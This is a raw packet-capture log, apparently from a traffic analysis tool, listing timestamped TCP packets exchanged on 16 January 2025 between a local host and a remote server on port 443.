Jan 16, 2025 03:55:27.864927053 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.864939928 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.864975929 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.865176916 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.865381002 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.865617037 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.865658045 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.866097927 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.874234915 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.874355078 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.874367952 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.874406099 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.874449015 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.874721050 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.874814987 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.874828100 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.874917984 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.875041008 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.875055075 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.876899004 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.888787985 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.889089108 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.889152050 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.889238119 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.889290094 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.889427900 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.889507055 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.889574051 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.889630079 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.889708042 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.890008926 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.890099049 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.906958103 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907090902 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907126904 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.907140970 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907176018 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.907413006 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907504082 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907543898 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.907558918 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.907592058 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.909229040 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.910753965 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.910847902 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.910887957 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.910916090 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.911169052 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.911206007 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.911218882 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.911257029 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.911297083 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.911309958 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.911922932 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.916558027 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.916640043 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.916731119 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.917052031 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.922528028 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.922698021 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.922735929 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.922749996 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.922787905 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.923120975 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.942761898 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.942888021 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.942933083 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.942946911 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.942990065 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.943092108 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943192959 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943233967 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.943248034 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943283081 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.943523884 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943639994 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943680048 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.943694115 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.943731070 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.944376945 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.952786922 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.952899933 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.952914000 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.952944040 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.952986002 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.953305960 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.953389883 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.953401089 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.953417063 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.953455925 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.956877947 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.962249041 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.962496042 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.962543011 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.962555885 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.962862015 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.976583004 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.976705074 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.976712942 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.976727962 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.976769924 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.976989985 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977118015 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977165937 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.977180004 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977226973 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.977332115 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977448940 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977492094 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.977504969 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.977536917 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.977894068 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.978040934 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.978131056 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.978157043 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.978169918 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.978204012 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.980356932 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.995173931 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995311022 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995382071 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.995393991 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995538950 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995587111 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.995590925 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995623112 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:27.995691061 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:27.995691061 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008060932 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008240938 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008264065 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008302927 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008330107 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008336067 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008450031 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008546114 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008559942 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008591890 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008610010 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008706093 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008745909 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.008759022 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.008790016 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.009517908 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.013480902 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.013545990 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.013592005 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.013693094 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033262014 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033379078 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033421993 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033449888 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033473969 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033490896 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033560038 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033560991 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033576012 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033636093 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.033675909 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.033832073 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.034060001 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.034135103 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.034151077 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.034394979 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.043526888 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.043615103 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.043639898 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.043732882 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.043775082 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.043787003 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.043920040 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.043961048 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.044109106 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.052864075 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.052942991 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.052959919 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.053349018 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.067217112 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.067348003 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.067470074 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.067665100 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.067701101 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.067717075 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.067771912 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.067771912 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.068090916 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.068288088 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.068340063 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.068408966 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.069030046 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.069163084 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.069174051 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.069189072 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.069222927 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.069619894 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.085598946 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.085741997 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.085788012 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.085803032 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.085844994 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.086117029 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.086208105 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.086234093 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.086247921 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.086285114 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.088238001 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.098373890 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.098440886 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.098490000 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.098603010 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.098782063 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.098912954 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.099150896 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.099241972 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.099261045 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.099273920 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.099324942 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.099503994 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.099704027 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.099718094 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.099797010 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.103935957 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.104042053 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.104156971 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.105443954 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.123898983 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124092102 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124155045 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.124217987 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124258041 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124314070 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.124335051 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124372005 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124412060 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.124427080 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124486923 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124525070 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.124538898 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124744892 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.124840021 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.124912977 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.134008884 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.134291887 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.134378910 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.134426117 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.134443045 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.134483099 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.134677887 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.135364056 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.135379076 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.135447025 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.143430948 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.143522978 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.143556118 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.143651009 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.157912970 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158042908 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158088923 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.158102036 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158288956 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158330917 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.158344030 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158423901 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158463955 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.158477068 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158704042 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.158835888 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.158914089 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.158931017 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.159054041 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.159444094 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.159528971 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.159552097 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.159647942 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.176242113 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176433086 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176459074 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.176552057 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176593065 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176603079 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.176690102 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.176707983 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176791906 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.176867008 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.176979065 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.188973904 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189073086 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189074993 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189100027 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189153910 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189218998 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189378977 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189559937 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189568996 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189584017 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.189621925 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189738035 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.189922094 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.190152884 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.190195084 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.190211058 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.190979958 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.194545031 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.194657087 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.194825888 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.194888115 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.194940090 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.195774078 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.214993000 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.215193033 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.215198040 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.215233088 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.215264082 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.215286970 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.215348005 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.215396881 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.215415955 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.215508938 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.224833012 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.224924088 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.224941015 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.224966049 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.225045919 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.225143909 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.225214958 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.225235939 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.225317955 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.225642920 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.225730896 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.225759029 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.225939035 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.234085083 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.234199047 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.234245062 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.234277964 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.234914064 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.248780012 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.248864889 CET	63371	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:28.248878002 CET	443	63371	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:28.248902082 CET	443	63371	118.178.60.9	192.168.2.4
